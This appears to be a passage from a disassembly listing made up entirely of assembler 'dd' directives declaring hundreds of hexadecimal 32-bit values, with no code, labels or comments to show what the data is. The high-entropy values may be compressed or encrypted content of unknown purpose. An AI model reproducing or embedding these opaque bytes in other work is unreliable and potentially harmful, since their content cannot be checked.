		dd 0FBD98E2Bh, 19290317h, 0ACFB24E8h, 40C04ABBh, 49C03EDEh
		dd 6A47FDF1h, 0C11AEC73h, 69E9DF31h, 7168D40Bh,	852CC903h
		dd 0D89A2B27h, 1D436EAEh, 4052792Eh, 1F359EB4h,	6B30CCF2h
		dd 9536012h, 0F6600004h, 1CA7EAD0h, 9660E940h, 0BB017171h
		dd 0FD380F50h, 522003CFh, 8332C299h, 35639D18h,	74D02C28h
		dd 0CE740C12h, 4998246Dh, 182F68A2h, 0A7EB0D91h, 10F26806h
		dd 31C71F48h, 52810D58h, 2C4103D0h, 22D27CCBh, 0A2036784h
		dd 4041C564h, 0BBCE73B9h, 0B5F1A980h, 1BFD396Ah, 0ABA259C3h
		dd 13303E50h, 0B6577963h, 68483118h, 0E038A659h, 30807952h
		dd 7F411C5Ah, 0BE14B136h, 23D01F42h, 0C43B10BAh, 0E4635FAFh
		dd 0AD3C7CD8h, 755E30C6h, 422418B9h, 84B569F5h,	7AEEE40Ah
		dd 7698A46Bh, 749DABF1h, 66DCA1D4h, 0B3A8F181h,	8CF99B8Ch
		dd 0D916A130h, 4C235068h, 583350FFh, 2393A6Bh, 0D8406AB0h
		dd 8348F1E9h, 0B94F3318h, 316D88F5h, 1330CFBCh,	3518714Ch
		dd 0A44C8550h, 13584051h, 910E6EE8h, 9B60CBACh,	0A397C78h
		dd 338A5BFh, 17F042A4h,	6D999215h, 5B88874h, 0BE895867h
		dd 85707588h, 8C306F64h, 0C88631BEh, 0AD479350h, 7C9055C8h
		dd 21D46588h, 8244F0ECh, 8355D22h, 0E850F2B0h, 661588BBh
		dd 4784E287h, 0BD562214h, 0E387CD7Ch, 72DC241Ch, 1A851145h
		dd 62EA0485h, 0FD114E50h, 9C84784Fh, 444962B7h,	0EA582650h
		dd 35DE886Ch, 6022B293h, 0C8686354h, 603DF8BEh,	0B3BD214Eh
		dd 61D262A1h, 44208C1Fh, 9C02749h, 0C247F432h, 6890C89Ch
		dd 21513E8Ch, 992A198Ch, 116DB1C3h, 9EE0F770h, 0A86A4C15h
		dd 9D106F31h, 0D384DC4h, 0CBA42058h, 0F9797766h, 8EA09009h
		dd 0A93D063Ch, 1131DE3Fh, 0C24F9D0Ah, 5742A037h, 91646677h
		dd 8649B048h, 0EE0F7F5h, 28561831h, 25C83D8Fh, 0B42938E0h
		dd 65429481h, 0E4435026h, 2F02D48Ah, 0E0F13164h, 0CCD0C0F8h
		dd 756A0058h, 3E85FCCFh, 890B52DDh, 1223840h, 981931E4h
		dd 1D29C860h, 0DC856Fh,	0FCDFD779h, 2B055025h, 0D0746EFEh
		dd 2C3CC483h, 0F87D40h,	0E37791FCh, 325493FDh, 740FFE40h
		dd 2C93Ch, 895D718Fh, 2BDD3CD6h, 98603053h, 0EB782ED5h
		dd 7A081CA6h, 7F05D0h, 0E0DB2817h, 0D929752Bh, 20AC60DAh
		dd 17DC0468h, 0EB7520h,	0CA5786Ch, 0E75C77C7h, 184664h
		dd 0F8DD4094h, 3CCEE590h, 0CF8AAEEDh, 0EB2C7750h, 0EF8AD400h
		dd 0B770F2E0h, 961555F8h, 80382A94h, 23869719h,	0D42B0255h
		dd 0D685F9E3h, 408E1494h, 552A3207h, 54086D0h, 0AD1F094h
		dd 0CCD99703h, 0CFD401F8h, 4AFEB84Fh, 47AB494h,	1D0054F8h
		dd 315E2D87h, 7C8043DEh
		dd 1DF4F48Eh, 39E596h, 0B2D5EB6Eh, 0DD2686B4h, 3CBA0029h
		dd 0F41C0178h, 53CFAB6Ah, 0E13B9825h, 96EDF84Dh, 20CCEE09h
		dd 0F2408779h, 917288Ch, 0F42AE5CAh, 6C80209Ah,	0C9407E55h
		dd 648A2D3Ah, 748C9350h, 0D0EB350Fh, 0C0D09691h, 0C07F0485h
		dd 90FA3FA5h, 2B05B898h, 0FD36DBCBh, 4CB79092h,	58204940h
		dd 74FD0602h, 54C138D7h, 8689E094h, 0F275D098h,	21F39678h
		dd 77408993h, 0CAC0803Bh, 7F8DE3Eh, 2039926Eh, 30104D7Ah
		dd 260F7478h, 82D5EE86h, 0C0CFD791h, 74D2EF70h,	0B7E0F32Eh
		dd 18A0907Ah, 103E8E04h, 60C4DA6Eh, 0AC86D788h,	20D23958h
		dd 2D06EB86h, 0B70E4093h, 8DCDD97Dh, 8BE1C885h,	6305C9E0h
		dd 0CB2E308Ch, 4CC7CDE3h, 787C20A0h, 942B3601h,	91F8CCD1h
		dd 1F9892D6h, 0F8A95504h, 0FE36D941h, 0D47692E1h, 0CE3CD002h
		dd 60CCCAFBh, 737EC578h, 928A2A02h, 4E752CCFh, 841893B8h
		dd 82EE832Fh, 1C608EF0h, 3E749407h, 0EB077BFAh,	0E784B7E0h
		dd 2CD990CCh, 3C7C1FD2h, 1D75291Eh, 0D38605CBh,	4601120h
		dd 16A5A8AFh, 4287FE2Fh, 0CBD229C4h, 67EBB4C1h,	0DF9209E4h
		dd 0F00C99F8h, 71799860h, 75DCB0E2h, 0E9D890EBh, 0E51628BEh
		dd 81C424DDh, 8ED1921Ch, 0E92ECF09h, 0F9E414EBh, 4FE55096h
		dd 22C538C0h, 3220C06Fh, 10983B93h, 6E698A63h, 8704E1D9h
		dd 2072CFD1h, 2C782E14h, 0C23C87B4h, 0C0F08A2Bh, 3134744Ch
		dd 0B7CC5852h, 27D54887h, 0D1B0CC7Ah, 898B80C5h, 50811824h
		dd 9C2713E1h, 0D5B3C1FFh, 44BC87Eh, 7014B0EAh, 0FFB20173h
		dd 0A6A3BA59h, 0B090E05Ah, 0C51C4752h, 183AC088h, 94C57B00h
		dd 911A579Fh, 0C945AD14h, 1300EF68h, 0BDA72049h, 0A500B957h
		dd 952545B7h, 8CE5DA1h,	0BA4EADA2h, 155A0363h, 5048BCC8h
		dd 84095E00h, 5A0D5F2Eh, 0BAA5C700h, 0A1A6C493h, 35EEC3Fh
		dd 94C95BADh, 0ABA04AA9h, 750E459Fh, 8148A08Ah,	0CB4CBA9Ah
		dd 14B3A1EFh, 0EA68BCECh, 59A10390h, 48A5A8CCh,	549E8AE8h
		dd 0A9ABC700h, 689FB149h, 0CC253A74h, 9C40F975h, 308D7559h
		dd 48214CA0h, 0BA008B1Dh, 0A18AB054h, 305EB346h, 0AC984BBCh
		dd 903ACE59h, 0C5D50CADh, 5B168B8h, 0A8B66103h,	94800AA9h
		dd 0C19E5D34h, 8AB64887h, 14607A86h, 68B04CBEh,	0A4C102BEh
		dd 859FC046h, 0A800C7F4h, 0A9C6BA4Ah, 0F0B95045h, 0AF160393h
		dd 951A9401h, 5EC746F0h, 0CE4BB71Bh, 0BC96D021h, 0A1B63A59h
		dd 19C84C28h, 90CD5768h, 0BEC84147h, 0FF7ED048h, 0A8BA6314h
		dd 0BF10D438h, 0A98B2001h, 0BEB1C959h, 0A3AB18E8h, 7498C328h
		dd 0BABF246Ch, 0CDC201Ch, 0A4ABCD5Eh, 0B00E9F20h, 3DA3C757h
		dd 0A6A5CE01h, 12CFC993h, 1094B9E8h, 0C82AC87Ch, 0D1037AC4h
		dd 5C098C10h, 0C076A68h, 7C0089A6h, 9AB34CAEh, 148383F8h
		dd 0DC91C088h, 35E1274h, 405C1947h, 400AE0B1h, 9BA1CC13h
		dd 9814041Eh, 0B3A30080h, 0C58C7148h, 0BCB0A14Ah, 0C68F053h
		dd 739FA060h, 0E0F9ADD0h, 28C36691h, 204D68A7h,	93FC57E9h
		dd 0DC9858AAh, 8C6B4CCh, 12307A73h, 40715CBAh, 6891CE1Ch
		dd 8E24C554h, 0A31444A4h, 784ACAF4h, 4158BA42h,	2021BD38h
		dd 0B693C801h, 3E4C9EF0h, 54308AC7h, 0B05505E8h, 3345F0A1h
		dd 0FE044220h, 9A0022E8h, 6551EFA0h, 754E0Dh, 11CEC7B8h
		dd 4261895Dh, 3B446800h, 5741F21h, 0BEC18AEh, 1EBF41C4h
		dd 0F63701F2h, 0CAC039FCh, 3011438Bh, 0D5307EE7h, 8307D18Ah
		dd 1B890A20h, 807A56h, 88BE016Eh, 31458112h, 1DCDE938h
		dd 0B809CAEh, 5AD9507Ch, 0C820C3B3h, 13F1E457h,	11204E1Ch
		dd 0CF80CAD8h, 0D0CB9A7Eh, 0BC75F1C0h, 66E7183h, 56A76CB0h
		dd 0EA6008C0h, 83B51721h, 0BFD066Dh, 0D07968DEh, 21E6CC33h
		dd 0B666F871h, 73BE0009h, 429F05EEh, 9D1E3FC2h,	8CBE1DF3h
		dd 8A42489h, 0E55A39ACh, 90DB6014h, 6086D3ACh, 0F95271D6h
		dd 2D0E18F8h, 0CAFB2F81h, 59C41CB6h, 50C9D705h,	0CC2384C8h
		dd 72F96E82h, 999481A6h, 0A080FCCFh, 8A27AE34h,	78C12E88h
		dd 0CB3D012Ah, 0BD7EB085h, 0E0C028ACh, 52962380h, 4D1538D6h
		dd 0E6E2DCD0h, 77426C28h, 0E8483117h, 0F6140B70h, 694BE44h
		dd 65AD092Ch, 4DB0C790h, 22A6705Eh, 461A0B96h, 3728D325h
		dd 0AD24915Ch, 3BC8B8C2h, 8C972011h, 5EEF8E1Fh,	4C040B7h
		dd 30540E5Fh, 0A6C085CAh, 0BC927C56h, 89D32B30h, 2942E3h
		dd 238A915Eh, 820DE236h, 8960BB00h, 0E659E772h,	5C0B7757h
		dd 0C30F7253h, 70B96930h, 0B22C27B6h, 0F0A23943h, 0C3602720h
		dd 90726899h, 704107B9h, 9C497A79h, 21C05C08h, 0FC907B03h
		dd 6905063Bh, 0F999A2D9h, 8C4DF418h, 2FA47E9h, 0BFC7EEABh
		dd 0E2FF943Ah, 12E4C0E2h, 0B15214A5h, 0A89FF06Ah, 0B29222C0h
		dd 0E0EE5831h, 0C910D5C4h, 7A4C987Bh, 3F01348h,	592C6041h
		dd 48836D91h, 4B95607h,	0A0D6301Dh, 12B1081h, 1024C875h
		dd 25BE14BCh, 0A8F120B2h, 10231809h, 2587953h, 5D393B9Eh
		dd 68B08176h, 4034A6F9h, 54C90A9h, 4D79C8ACh, 5E804F83h
		dd 0BFFEBC0h, 0D90E879Dh, 8C880D03h, 1C42172h, 0E3B5EA9Ah
		dd 0D4BF17D1h, 8806D7A9h, 0D2ACF583h, 5AED0C88h, 0B1806721h
		dd 0D8A6F200h, 654BC176h, 3C7104B7h, 0D9977ECEh, 76642074h
		dd 74986E26h, 1443BDC4h, 360183AEh, 9C54B7A1h, 0FD77ACFh
		dd 5B2130C8h, 857071ACh, 94AE4E2Ah, 0F96A8C08h,	1915005Eh
		dd 6CA152B5h, 4E0B10C1h, 0B0827379h, 4D40A922h,	4010D78Dh
		dd 8B4A0926h, 0ADA060C3h, 41D8E827h, 20AE11D5h,	0FD931EABh
		dd 182D1080h, 0CC34CC5Bh, 7321AF09h, 53422500h,	1001AA7Dh
		dd 0A57F0203h, 6E5AA6C0h, 219EA8A1h, 3B3180A1h,	696F146Bh
		dd 83AF01F4h, 0D3EE8688h, 4026E9C2h, 0CF6503D8h, 879BD1C0h
		dd 34B5F55h, 0CB1F1901h, 107A427Ch, 4DA44800h, 34BAE076h
		dd 917279h, 26D2A9A8h, 0A68EA3BBh, 3D193ECEh, 386030FCh
		dd 0B2C5FFh, 7A47C349h,	0A0F1A64Dh, 0C48048DEh,	1BA13985h
		dd 459A198Ah, 80AC0923h, 397D6421h, 7405147Fh, 0BB190CC2h
		dd 3C58568Bh, 2C06C610h, 0F39F6100h, 0E65DBC70h, 0C9199CE6h
		dd 52B04977h, 631F57C0h, 82F6A06Ah, 97D61900h, 0DC9E6DBBh
		dd 9CB50058h, 30EFF9Dh,	2660A5C6h, 3ADF2358h, 1F9B36E5h
		dd 0AD46C0D8h, 0C839841Dh, 0AFC4621Bh, 397C6540h, 3A07CD4Ah
		dd 638D5675h, 67C4C9F4h, 2BFE8C04h, 9EA78601h, 5BCAEC73h
		dd 0C2E02767h, 4625FC60h, 75D83D5Dh, 6EA3F74h, 0EC44E2Ah
		dd 3BC9998h, 6D1B8AA0h,	680A6B0Ah, 0E40D8B32h, 7549E060h
		dd 0F97960F5h, 84E1A096h, 7EC3FF4Ch, 8CCF776h, 0BD2171h
		dd 0A2F8E198h, 0DA17D3B7h, 0E58C6B15h, 1D0B8F8Ch, 7DA47341h
		dd 91804C5Eh, 0AE106C29h, 7AEC67D2h, 6309CA66h,	74890021h
		dd 0C68D1D10h, 1B07DD15h, 4016C0Eh, 32F3CB51h, 0D585B09Fh
		dd 9D0DA09Fh, 0E8997CD2h, 32684AB6h, 0BCC09480h, 0E58469h
		dd 5683A1ADh, 92C0B613h, 0BF6A7C28h, 4A061FE8h,	0D309EB37h
		dd 4408AE18h, 93738167h, 8510E007h, 0E9E0ACDEh,	7DCA896Bh
		dd 13F03FEh, 8F4C26CEh,	0EBD83806h, 50D23Dh, 0F220F9CAh
		dd 26E45EB7h, 0D6DDD403h, 1CD161FBh, 0B0215020h, 8D9FA4D0h
		dd 0EB27070Ch, 0EE8C489Ch, 0F66C9039h, 0F8DE8146h, 42E15556h
		dd 6A307FB0h, 0D2B01110h, 80568877h, 2110728Bh,	0D8038670h
		dd 3B57322Ch, 0E4680679h
		dd 90B83A0Bh, 1B4F4C0Ch, 0A44EC9A5h, 8BA42F6Ch,	0FF026354h
		dd 804B0EBDh, 85FE0DB8h, 0CCA355CBh, 5943D801h,	2488A008h
		dd 700C53DBh, 0FB191570h, 54008040h, 25FEBE70h,	0ED007492h
		dd 8A14F47Eh, 7F5D8364h, 124006Ah, 190BE07Ch, 76147821h
		dd 80A0FC96h, 6F0CB32Dh, 25E206D6h, 8BACEA8h, 8A214260h
		dd 0AD0CABh, 28CB6394h,	4E1DCDE6h, 0FAF7EB1Eh, 6D505A44h
		dd 51C99099h, 9D92A050h, 0FBD0584h, 60A34124h, 9776778Ch
		dd 0B40444A4h, 0CAD66E0Ch, 8B203962h, 4EC0CACh,	3688D5A7h
		dd 1C20C441h, 1133919Ch, 0FC18AECDh, 4A7393Eh, 366E2604h
		dd 8A80730Eh, 0ECA89C70h, 658A1492h, 0A322B8DDh, 0FB0B6D05h
		dd 0EC0EC5E5h, 4953CC78h, 3130393Fh, 9E8003BDh,	83070184h
		dd 1B02A9BAh, 0EDB64171h, 0ABD2C1FBh, 82026836h, 721B9E39h
		dd 6710B731h, 4B02397Ah, 31F31ECBh, 20A8449Fh, 0E64D980Fh
		dd 98089214h, 3988C0A9h, 82461BA4h, 6100AA22h, 710E3980h
		dd 12966Eh, 9F7BE6Dh, 65A0B736h, 770D4490h, 603CDEB6h
		dd 4CD4A807h, 0C2135814h, 0EF10293Bh, 5595E4B0h, 75785001h
		dd 0CCBC034Ch, 697AE820h, 98373057h, 98946A11h,	5846CD08h
		dd 1C09C26h, 0C63402D6h, 90DCFE69h, 9CC5CF2Ch, 23992308h
		dd 848C00E4h, 9D4D1A0h,	0FDDE6F00h, 5212D37Dh, 7637242Fh
		dd 36D250E8h, 0EC661720h, 0CB4631FBh, 509BF218h, 0D4AA88ACh
		dd 962AD606h, 0A883AA7h, 457ADE87h, 5CE342A4h, 0C6C29F07h
		dd 0BB06142Ch, 7B231F3Ch, 0DF750068h, 0DCD39272h, 0EC065FC2h
		dd 39D2B655h, 0D7A31051h, 48085626h, 29B2C004h,	2EA157h
		dd 0A5804E45h, 0F47C74ADh, 0C9CA3400h, 76945B50h, 46FC2454h
		dd 36D483D0h, 80249FEBh, 2300A886h, 0FD358FF5h,	2EA8B06Ah
		dd 443430AEh, 398760A8h, 8C1B7DA3h, 5862A944h, 77D157Fh
		dd 543CBFA5h, 64B11901h, 0D6608889h, 697C0149h,	604BFB62h
		dd 0B056E879h, 14BC48C8h, 0A4C89E1Bh, 0BDDCE89Bh, 4C47D8D1h
		dd 0E1A3C088h, 9446FF87h, 0B8096B22h, 8EA9E19Bh, 46978151h
		dd 43C4CD79h, 0CB1A0AA8h, 28D0585Bh, 8D90048h, 182366EBh
		dd 0FCAC1B9Dh, 0C8B94Ch, 0E477C0ACh, 93110D54h,	24A42898h
		dd 517C38FAh, 2EAC325Eh, 803CC9DEh, 44B968CEh, 4AFB1F4Ah
		dd 0B118279Fh, 94D57BAh, 2450D831h, 80609BBBh, 0E0CFBDF6h
		dd 240496A6h, 84D0FCFAh, 52073732h, 5D00B899h, 0D47C7DA8h
		dd 0A06F531Eh, 0EC6F1218h, 5B5EE70Ch, 70705C9h,	0E6668D2Ch
		dd 0EFC1B1B0h, 0DC1600F6h, 95F2A320h, 0FC00A845h, 0AF65D55Ah
		dd 0CF15569h, 35BABE01h, 777183D0h, 7A460490h, 0B3106F02h
		dd 9CE77FD2h, 10778603h, 0E87EC32Ch, 92EA8C7h, 0B78A13D9h
		dd 50672C12h, 81604244h, 0C8003A3Ch, 94555F41h,	1277A508h
		dd 242B1ADEh, 94AC87A4h, 1023002Fh, 0C955C9DBh,	604AD6DCh
		dd 2C0F2040h, 6CF1A099h, 7400E918h, 0D9A7862Ch,	98E47A02h
		dd 314A2028h, 67BB0D08h, 0C10F0045h, 0D4CEFD82h, 3D8E305h
		dd 8401A04Ah, 71074ECCh, 0CB4DF840h, 0A3212E52h, 763830F0h
		dd 7D20AB75h, 27A525A9h, 838688Ah, 1F1C2A96h, 5CB86BC0h
		dd 31C554Bh, 0BDF98569h, 20024DB2h, 996D59A4h, 23209E71h
		dd 8820B57Ah, 9E027746h, 6CFF82E1h, 0BB023C47h,	824FE196h
		dd 4C12C4h, 3B45CE86h, 36D91F01h, 389FFFD3h, 1000B477h
		dd 0B1EED0ECh, 0DC39E371h, 0FF22013Eh, 772D82B9h, 8407D036h
		dd 0D2EC34CDh, 74EC3ED8h, 0C201E476h, 839F9EF9h, 4C60D674h
		dd 280483B6h, 0A6997E84h, 0B521C5C1h, 0A4081884h, 82C95B9h
		dd 0B5C09844h, 46D66D0Ch, 0F3C22D2h, 650CAD8Ch,	505E6DCh
		dd 24783A3h, 56CEAED8h,	0D258388Dh, 110CAE30h, 88BAD66Ch
		dd 0A68D8041h, 0D680960Ch, 9C2EBB3Ah, 6C0018CBh, 0B14D0301h
		dd 9AED04D9h, 905A5F7Bh, 0DB8A36B4h, 0A978431Dh, 2D93E1C0h
		dd 958354Fh, 534C9F44h,	1873C491h, 86E108A2h, 6FC48CFFh
		dd 0E19AB740h, 0F40A7538h, 0A43ACD25h, 9EBD8C0h, 4D5080A9h
		dd 80F91709h, 0D2AC41A8h, 0B80CEF08h, 39E02708h, 0FC18D44Eh
		dd 248C41ECh, 3EA8D1FDh, 5C211607h, 7A13823Eh, 9D49E8A0h
		dd 0C1D2C8CAh, 2E7FCC8h, 0AA8FE140h, 8C400494h,	0A6405611h
		dd 0A1FB3054h, 0FD196729h, 2E8A20C2h, 91FA22C3h, 511D5021h
		dd 382891A6h, 0DFCAE504h, 4D191928h, 7388B44Eh,	900B4EC0h
		dd 0A0780241h, 229C7435h, 9B17B4E0h, 2839F681h,	0F8B06000h
		dd 86791C1Bh, 0D031D12Ch, 614674h, 78E5654Bh, 715FD8Eh
		dd 28507A11h, 0F8E14CF9h, 0C0314560h, 628A44B6h, 5AF7F06Ch
		dd 4EC9A833h, 0F07A5196h, 0A50041E2h, 5F8C0415h, 27CF739h
		dd 1E035865h, 71DC80B1h, 95A8926h, 2DD885ECh, 541974C6h
		dd 4A894702h, 0B979B3F0h, 5C264B50h, 0D2E3182h,	467C3C1Ah
		dd 0D4410771h, 846FCB0Fh, 18C1E59Fh, 0D207B369h, 90E8A74Eh
		dd 4A6B7A75h, 728C8038h, 202ECED3h, 6B006C87h, 939AE9F7h
		dd 0A899F2A9h, 2D25C288h, 63DE2D41h, 13CD100Eh,	9C9D1F07h
		dd 20B008C9h, 997BF60Ch, 0E3C80038h, 1A994F22h,	0C61203F8h
		dd 60055109h, 0C4404CFBh, 0C72F5DF2h, 370201A3h, 0BE9F7C74h
		dd 28EC283Ah, 0D12986Bh, 0D80A950Ah, 8040E01Bh,	24DBD4DCh
		dd 7424A684h, 0AB006346h, 65FB62DEh, 6B79C0BDh,	0E4AACE02h
		dd 50A189EBh, 2B9D44E8h, 0A05D8A00h, 0B01CB4FDh, 0ABD20094h
		dd 0F6AD060Fh, 0D106130Dh, 54FB4D3Ah, 6B6707A1h, 25B791EDh
		dd 115E8030h, 4407DE6Dh, 4D79C96Ah, 0A843976Eh,	1977A173h
		dd 4175A408h, 0DE9840CDh, 4731C5E7h, 0B16D9874h, 0C9B01F05h
		dd 646C9979h, 9CA8858h,	46E4BAB4h, 4D389990h, 1E208B68h
		dd 4DC8EA1h, 3C82DAF4h,	0E1983371h, 9C4AFF88h, 0F8B9782Ch
		dd 2A4C78E1h, 0F94B0F1h, 1703635Fh, 78D33480h, 0A41CB2D9h
		dd 0DC008EBCh, 1090D1ADh, 874E3ED2h, 85849061h,	4100D3CCh
		dd 1481734Ah, 6C2622B2h, 0CE206838h, 61618689h,	542084E9h
		dd 0D5C20117h, 6AB99010h, 9B0DC8ABh, 744C3317h,	48D60809h
		dd 20D3196Ch, 54E4347Fh, 3A000492h, 22E0DDE1h, 275D71Ch
		dd 5FCFDE82h, 0AC64A3B5h, 0C085E605h, 9835E508h, 9637A804h
		dd 0C112CC10h, 0D60C90BAh, 0B650A5F3h, 15025408h, 87A2D102h
		dd 0C4D8E450h, 54DE790h, 0FCC31801h, 99C65Eh, 0BAC56D03h
		dd 0F2A7EA35h, 0DE1F1006h, 1228A38Ah, 0C9C2CE01h, 21442BCh
		dd 71AC42h, 5218B8D1h, 0B5F4F7F8h, 52426526h, 6B0F4E06h
		dd 133CACE0h, 4E50BCCh,	194EBD94h, 8318AC70h, 1B9F3909h
		dd 80FC655Ah, 0A8397B66h, 90040152h, 92C43B4Eh,	82BF5082h
		dd 41D6A6E4h, 0D400B35Ch, 0CAFCE509h, 87EC127Bh, 8948C48h
		dd 824C1950h, 6E0758CEh, 0CCEA6762h, 5D7994D1h,	0F1008A18h
		dd 40093E42h, 0B685BF5h, 694F56D2h, 2F3A4848h, 2808A755h
		dd 8C56BC2Ch, 9CF30E1Eh, 40404E5Ah, 90A0E970h, 9AF22A2Ch
		dd 9D6B0094h, 81405DEFh, 7DFCB54Ch, 0CC405F4Eh,	1CAD588Fh
		dd 0BB0D2798h, 122C24AAh, 0A1E06074h, 0FF2385E1h, 0B721184h
		dd 87E199B6h, 170503D3h, 0B38D22C0h, 40BD4BFFh,	55E62148h
		dd 1B542750h, 314D6B8h,	0FD0AC86h, 762E2C9h, 8959FAB6h
		dd 239C8254h, 7E447A33h, 1B18C1A0h, 464C7BBh, 2D561CC1h
		dd 0B952B089h, 24C8D409h, 7727A2A1h, 0EE4C2246h, 746C4150h
		dd 40ADDC70h, 3C90A0C6h
		dd 27E09F4Ch, 2B84244Bh, 843BFC84h, 231C7023h, 730F7401h
		dd 0E860B5FDh, 151BF829h, 0B04797D3h, 4897452Fh, 2280B791h
		dd 0B5FBD6BBh, 4388C899h, 0FFA70081h, 0DC619C0Dh, 2CD4C016h
		dd 0C0806848h, 0D2B11069h, 5E226F46h, 10718C03h, 906ACBC1h
		dd 5CA1D2ABh, 0C840CA7Eh, 3C2D4DEBh, 830549Dh, 0BDF32402h
		dd 0B160A373h, 0B2E70CCh, 30266471h, 150964ACh,	0CB340914h
		dd 18C2DD60h, 0D030D03Ah, 6E4AA47Ch, 0DB030018h, 0AC8AB76Dh
		dd 322001EBh, 27EAF76Ch, 0F6F041D3h, 0E190133h,	6C88EC4Eh
		dd 0AD38A4CEh, 5041B881h, 0BEECE7EDh, 4209C6Ah,	932FA321h
		dd 9B88764Ch, 5A2513D0h, 98CC00A4h, 0DC9CA646h,	841B5280h
		dd 5BC0C210h, 0F3EC7050h, 50B85571h, 8805F1E0h,	3F4ECCAEh
		dd 0A4D1CB0h, 807458CAh, 58447820h, 2850258Ch, 16BD820h
		dd 0BA109917h, 17859BFh, 3D141909h, 0A64022C6h,	0C82458C8h
		dd 0AB467Ch, 71BB5F07h,	9CF5D17Fh, 48D3808Ch, 0EB78CD75h
		dd 89014A90h, 0E5E1E270h, 0F6EC9D56h, 776C2816h, 39D620D4h
		dd 0E756D00h, 551407E8h, 51362DB6h, 0CCDA543Ah,	0DE809B7Ch
		dd 4AE91215h, 0BB3C0936h, 502C9445h, 4521A028h,	98B220ACh
		dd 357D4E18h, 905417B4h, 98098194h, 21015818h, 98518F80h
		dd 0B4A65110h, 9C416089h, 2167BC80h, 761F7F26h,	0E10D0C9Ah
		dd 94716898h, 0F23782EFh, 552A2A1Ch, 0F97090h, 88060A7h
		dd 8EA26727h, 0F643149Ch, 14290F85h, 32403024h,	1061646Bh
		dd 6312AF00h, 0D698E8EFh, 0C02E2E13h, 987B4418h, 10086EFCh
		dd 0C497D2B4h, 40874E55h, 274AB810h, 8081EFEBh,	0A89113CDh
		dd 222C397Dh, 41F2F498h, 5279F09Ch, 0B4422600h,	2ECA41E8h
		dd 40A500FBh, 0A0788C91h, 0B30BEB24h, 0A4466BF2h, 3285A6BCh
		dd 53EF9804h, 0C40C0853h, 2204C8ACh, 0FCC3B96Fh, 0F1A6D2B1h
		dd 18B0D10Ch, 4AFF00B7h, 0B6299B7Eh, 7305F92Ch,	0BD7613D8h
		dd 40A39449h, 0C03D5358h, 907D4B08h, 58B862C7h,	39C5ED20h
		dd 4F359D9Ch, 45250970h, 0E7080000h, 0DC09E479h, 60399C3h
		dd 95B0CF20h, 0B511989Dh, 9294E587h, 18C068E8h,	0D78129BFh
		dd 403F1C20h, 0FB27547Ah, 1BC82750h, 0B07F8968h, 41936804h
		dd 9D91EBD6h, 8299C093h, 82095C44h, 382E94h, 528BA774h
		dd 0AF213A13h, 41FD280Ch, 0E0179577h, 1804711h,	0FB2F3DAh
		dd 0F1611D12h, 0DBE6C890h, 1C8203B7h, 0A83A03D9h, 0A8A29824h
		dd 5D01B004h, 0C01A48C2h, 410E13D0h, 10E444AEh,	0D10C848h
		dd 0F4F229B4h, 0D9070500h, 2E418378h, 0EF4C24h,	1AF3C267h
		dd 9818547Ch, 0F7D8A057h, 229797h, 120B149h, 0B807408Ch
		dd 10FB0AB6h, 4030950Ch, 388E640Eh, 0DA535500h,	70D1E2A0h
		dd 985AE61Dh, 15FE17h, 0C4D99C4h, 0E4BF3A40h, 49180B31h
		dd 5C4893BAh, 0B8557E50h, 0E5F83948h, 740447AEh, 9806B046h
		dd 40681311h, 0B5D7C402h, 0A91DCB1Eh, 7D6860A4h, 0E6BE1279h
		dd 2D94A44Dh, 0CE7CB4A4h, 0A074534Ch, 75DDB885h, 4ED21D6Dh
		dd 6E986877h, 0E608B06Eh, 0B8D44A01h, 9841BE64h, 0A2070BE2h
		dd 1C69E74Eh, 44C7C7Dh,	1C502343h, 0F8F4B4E5h, 87C0246Bh
		dd 80F41594h, 10FB28h, 0F79E9F62h, 36FFEA74h, 8E661316h
		dd 428820CEh, 88510BC0h, 0F67900E9h, 0F6EC58Ch,	0EE4ADDFFh
		dd 725D40C8h, 26C58001h, 0B009195h, 0CE771982h,	74013152h
		dd 9C29FA54h, 24265013h, 0A2F864D0h, 3064F218h,	0E63ED1DBh
		dd 488C007Bh, 0EEBDFFC2h, 92D0A552h, 21B0F2C9h,	0BE0102D3h
		dd 6C87351Ah, 0D9314D63h, 0ED2310A5h, 0A7D1132Dh, 7AAC0A25h
		dd 0CB7496C0h, 0C048C8FCh, 0B0B1A36Ah, 0A67A2DE4h, 883E867Dh
		dd 0C534C8C1h, 4001C885h, 2C3FC31Bh, 0DE1B4032h, 37E1B13Dh
		dd 30D4294Eh, 152399E8h, 0BE2A1997h, 108BB07Dh,	0BE9FBB19h
		dd 98A6000Ch, 0A327D886h, 18957093h, 2C05969Ch,	90223E4Eh
		dd 0BE148135h, 1DF3507Ah, 0C39D6E71h, 0A345DE81h, 0BCA0B85Ch
		dd 0E5008C61h, 9AEB325Eh, 0B14A2550h, 220F006Ch, 6FFBD34Eh
		dd 69769C92h, 373CA097h, 32C4DAEDh, 934658DCh, 0E1484DC0h
		dd 5913A700h, 8BFCFB0Eh, 0EB11026Bh, 97A66F33h,	0A0448082h
		dd 3C95C40h, 4B995280h,	0AC4CD0FBh, 16186384h, 8678E1B3h
		dd 0F8BD01CDh, 0BB344B72h, 46C841B0h, 52FB0238h, 790B0018h
		dd 483CB35Ah, 0D179718Bh, 0CA646D0Bh, 2BD80436h, 9B232054h
		dd 1005B012h, 1CF2AAD6h, 0C408FCFh, 0A240B481h,	1B20BB72h
		dd 0BDF61254h, 1314B25Bh, 0B0D05CFBh, 0B67D8357h, 5688080Ch
		dd 3F544425h, 48819AB6h, 5F754436h, 0AF18FC50h,	0C716EEB8h
		dd 0CCD28E81h, 0F52320ACh, 0E7740C4h, 0FAE288BCh, 2ED2213Fh
		dd 0D88434B3h, 0B1060312h, 4F521C91h, 0E9F3D600h, 67189E60h
		dd 4B5FE819h, 0F2DC06EAh, 25007198h, 443D151Ah,	1667D372h
		dd 33699FC6h, 0F0228434h, 4883FA4Ah, 14107C6Eh,	50F440E6h
		dd 41E59940h, 0BCD87C02h, 2398C72h, 23D5011Dh, 7BFB1335h
		dd 405E0860h, 500D7437h, 0D0B93DEBh, 0C511A00Ah, 288858C9h
		dd 0BB138451h, 0D43B9050h, 15003923h, 56D254D9h, 91FCB627h
		dd 0F097075h, 7053BB1Bh, 8D888024h, 0D31980E7h,	17F038FBh
		dd 3427C785h, 5CCA1570h, 8D7D4E9Bh, 439C01B8h, 0C2DC0003h
		dd 0A60D008Eh, 0AA60F1CAh, 0D8B6D6DAh, 3DE7CC60h, 0E3D4124Fh
		dd 0EA1002E5h, 5A02C348h, 90CC5B7Fh, 9010E62h, 0C07D6C4Ch
		dd 75FB12D6h, 2E1842C7h, 0E4030D3Bh, 736CFA29h,	433C9010h
